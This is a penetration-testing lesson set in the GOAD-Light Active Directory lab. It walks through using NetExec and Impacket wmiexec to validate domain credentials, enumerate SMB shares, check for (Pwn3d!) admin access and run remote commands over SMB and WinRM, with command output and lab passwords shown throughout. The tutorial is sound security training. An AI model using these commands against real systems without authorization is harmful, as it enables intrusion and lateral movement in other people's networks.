NetExec Remote Command Execution with SMB, WinRM, and Impacket

After you recover domain credentials — from SMB enumeration, a cracked Responder capture, or another authorized path — the next question is what those credentials unlock on live services. NetExec (nxc) validates SMB and WinRM authentication, enumerates shares, checks for administrative SMB access, and runs one-shot remote commands. Impacket provides dedicated protocol-specific tools such as wmiexec, psexec, smbexec, and atexec when you want direct control over a particular remote-execution mechanism.

This lesson walks through that workflow on GOAD-Light from Kali: authenticate, enumerate shares, confirm (Pwn3d!) admin access, execute over SMB and WinRM, and open a semi-interactive Impacket session.

NetExec and Impacket quick start

Run a single command on the GOAD-Light member server with an admin-capable credential:

nxc smb 10.10.10.22 -u eddard.stark -p 'FightP3aceAndHonor!' -d north.sevenkingdoms.local -x whoami

SMB                      10.10.10.22     445    CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:None)
SMB                      10.10.10.22     445    CASTELBLACK      [+] north.sevenkingdoms.local\eddard.stark:FightP3aceAndHonor! (Pwn3d!)
SMB                      10.10.10.22     445    CASTELBLACK      [+] Executed command via wmiexec
SMB                      10.10.10.22     445    CASTELBLACK      north\eddard.stark

Valid authentication alone is not enough; remote SMB execution requires administrative access on the target. (Pwn3d!) is NetExec's signal that the credential has that access, and Executed command via wmiexec confirms the command ran.

The sections below cover lab variables, plain authentication, share enumeration, the administrative access check, SMB and WinRM execution, and Impacket wmiexec.

How NetExec and Impacket fit together

Both toolchains speak Windows remote-management protocols, but they solve different parts of the workflow:

NetExec can target one host, an IP range/CIDR, or a target list, which makes the same authentication and execution workflow useful across multiple in-scope Windows hosts.

NetExec is the successor to CrackMapExec on current Kali images. Impacket scripts ship as impacket-<tool> wrappers installed by the python3-impacket and impacket-scripts packages.

Authenticated SMB access does not automatically mean you can run commands. For SMB, NetExec appends (Pwn3d!) when it confirms the credential has administrative access suitable for remote execution on that host.

Prepare GOAD-Light credentials

Set these once on Kali before you run the commands in this lesson:

DOMAIN_CHILD=north.sevenkingdoms.local
LAB_MEMBER=10.10.10.22
LAB_USER=robb.stark
LAB_PASS=sexywolfy
LAB_ADMIN_USER=eddard.stark
LAB_ADMIN_PASS='FightP3aceAndHonor!'

The low-privilege robb.stark account is enough for share enumeration. The administrator account demonstrates SMB and WinRM execution — the outcome you aim for after relay, password recovery, or other authorized AD attacks in later lessons.

Authenticate to SMB with NetExec

Before you enumerate shares or run commands, confirm the credential works on the target:

nxc smb "$LAB_MEMBER" -u "$LAB_USER" -p "$LAB_PASS" -d "$DOMAIN_CHILD"

SMB                      10.10.10.22     445    CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:None)
SMB                      10.10.10.22     445    CASTELBLACK      [+] north.sevenkingdoms.local\robb.stark:sexywolfy

Authentication alone does not grant remote command execution. The next sections separate authentication from administrative authorization and execution.

Enumerate SMB shares with NetExec

With valid credentials, list shares and permissions on the member server:

nxc smb "$LAB_MEMBER" -u "$LAB_USER" -p "$LAB_PASS" -d "$DOMAIN_CHILD" --shares

SMB                      10.10.10.22     445    CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:None)
SMB                      10.10.10.22     445    CASTELBLACK      [+] north.sevenkingdoms.local\robb.stark:sexywolfy
SMB                      10.10.10.22     445    CASTELBLACK      [*] Enumerated shares
SMB                      10.10.10.22     445    CASTELBLACK      Share           Permissions     Remark
SMB                      10.10.10.22     445    CASTELBLACK      -----           -----------     ------
SMB                      10.10.10.22     445    CASTELBLACK      ADMIN$                          Remote Admin
SMB                      10.10.10.22     445    CASTELBLACK      all             READ,WRITE      Basic RW share for all
SMB                      10.10.10.22     445    CASTELBLACK      C$                              Default share
SMB                      10.10.10.22     445    CASTELBLACK      IPC$            READ            Remote IPC
SMB                      10.10.10.22     445    CASTELBLACK      public          READ,WRITE      Basic Read share for all domain users

public and all grant read/write access to standard domain users. ADMIN$ and C$ are administrative shares; you need administrative SMB access to use them for execution or file copy.

Browse a share with smbclient

NetExec tells you which shares exist. smbclient lets you list files inside a share with the same credential:

smbclient "//$LAB_MEMBER/public" -U "$DOMAIN_CHILD/$LAB_USER%$LAB_PASS" -c 'ls'

  .                                   D        0  Mon Aug 31 10:46:59 2026
  ..                                  D        0  Mon Aug 31 10:46:59 2026

		10485247 blocks of size 4096. 5333168 blocks available

An empty directory is normal on a fresh GOAD snapshot. The important result is that authentication succeeded and the share is reachable — evidence you can include in a report before you attempt execution.

Check admin access with (Pwn3d!)

Separate authentication from authorization before you run remote commands. On SMB, NetExec appends (Pwn3d!) when the credential has administrative access on that host.

Test the domain administrator credential first:

nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD"

SMB                      10.10.10.22     445    CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:None)
SMB                      10.10.10.22     445    CASTELBLACK      [+] north.sevenkingdoms.local\eddard.stark:FightP3aceAndHonor! (Pwn3d!)

(Pwn3d!) means NetExec confirmed administrative SMB access on castelblack. That is the signal to proceed with -x execution.

The robb.stark credential from the earlier authentication step returned a plain [+] with no (Pwn3d!). Share enumeration still has value with that account, but remote SMB command execution does not.

Run commands over SMB with NetExec

Without --exec-method, NetExec attempts supported execution backends in order, starting with wmiexec and falling back to atexec and smbexec if needed. Use --exec-method when you want to force a specific backend.

Exact behavior depends on target configuration and privileges.

Run a single command with the default failover behavior:

nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" -x whoami

SMB                      10.10.10.22     445    CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:None)
SMB                      10.10.10.22     445    CASTELBLACK      [+] north.sevenkingdoms.local\eddard.stark:FightP3aceAndHonor! (Pwn3d!)
SMB                      10.10.10.22     445    CASTELBLACK      [+] Executed command via wmiexec
SMB                      10.10.10.22     445    CASTELBLACK      north\eddard.stark

-x runs the command through cmd.exe. -X runs through PowerShell:

nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" -X 'hostname'

SMB                      10.10.10.22     445    CASTELBLACK      [+] Executed command via wmiexec
SMB                      10.10.10.22     445    CASTELBLACK      castelblack

Force atexec when you want the Task Scheduler backend explicitly:

nxc smb "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" --exec-method atexec -x whoami

SMB                      10.10.10.22     445    CASTELBLACK      [+] north.sevenkingdoms.local\eddard.stark:FightP3aceAndHonor! (Pwn3d!)
SMB                      10.10.10.22     445    CASTELBLACK      [+] Executed command via atexec
SMB                      10.10.10.22     445    CASTELBLACK      nt authority\system

atexec uses the Windows Task Scheduler and commonly executes the scheduled command as NT AUTHORITY\SYSTEM, which is why whoami returned SYSTEM here. That is different from wmiexec, which returned north\eddard.stark in the authenticated user context.

Document the target hostname, execution method, and account context in your notes. That metadata belongs in a penetration test report even when the command output itself is short.

Run commands over WinRM with NetExec

Windows Remote Management listens on TCP 5985 (HTTP) on GOAD-Light servers. NetExec tests WinRM authentication and runs commands when the account is authorized:

nxc winrm "$LAB_MEMBER" -u "$LAB_ADMIN_USER" -p "$LAB_ADMIN_PASS" -d "$DOMAIN_CHILD" -x whoami

WINRM                    10.10.10.22     5985   CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 (name:CASTELBLACK) (domain:north.sevenkingdoms.local)
WINRM                    10.10.10.22     5985   CASTELBLACK      [+] north.sevenkingdoms.local\eddard.stark:FightP3aceAndHonor! (Pwn3d!)
WINRM                    10.10.10.22     5985   CASTELBLACK      [+] Executed command (shell type: cmd)
WINRM                    10.10.10.22     5985   CASTELBLACK      north\eddard.stark

In this GOAD-Light lab, successful NetExec WinRM command execution required an admin-capable account. In real environments, WinRM access depends on the endpoint's remoting permissions and group configuration; local administrators commonly have access, but they are not the only possible authorized principals.

The low-privilege robb.stark account failed WinRM authentication in our lab runs.

Use Impacket wmiexec directly

When you need more than a one-shot command, Impacket's wmiexec executes commands through WMI/DCOM and normally uses SMB to retrieve command output, presenting the result as a semi-interactive shell:

impacket-wmiexec "$DOMAIN_CHILD/$LAB_ADMIN_USER:$LAB_ADMIN_PASS@$LAB_MEMBER"

Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
north\eddard.stark

C:\>exit

Kali packages a development snapshot of Impacket, so the command may report an upstream development version such as 0.14.0.dev0 even though the Kali package version is based on 0.13.0.

Type exit to close the shell. Other Impacket clients — impacket-smbexec, impacket-atexec, and impacket-psexec — use different Windows remote-execution mechanisms such as WMI, scheduled tasks, or service creation; NetExec's --exec-method flag maps to the same family of techniques.

Troubleshooting NetExec and Impacket on GOAD-Light

Summary

NetExec turns recovered domain credentials into concrete service access on Active Directory lab hosts. Authenticate with nxc smb, enumerate shares, and look for (Pwn3d!) before attempting SMB command execution. Test WinRM separately, because remoting access depends on the target's WinRM permissions and group configuration rather than SMB authorization. Low-privilege users such as robb.stark may still prove valuable for share access even when remote execution is blocked.

Without --exec-method, NetExec fails over among wmiexec, atexec, and smbexec. Use -x for cmd.exe commands and -X for PowerShell. Impacket wmiexec complements NetExec when you need a semi-interactive session with direct control over the execution mechanism.

Remote execution is a high-impact action. Record the account, target, method, and output in your engagement notes, and continue with dedicated lessons for NTLM relay, pass-the-hash, and lateral movement once scope permits.

References

• NetExec project (GitHub)
• Impacket project (GitHub)
• Kali Linux NetExec package
• GOAD-Light lab description
• MITRE ATT&CK T1021.002 — Remote Services: SMB/Windows Admin Shares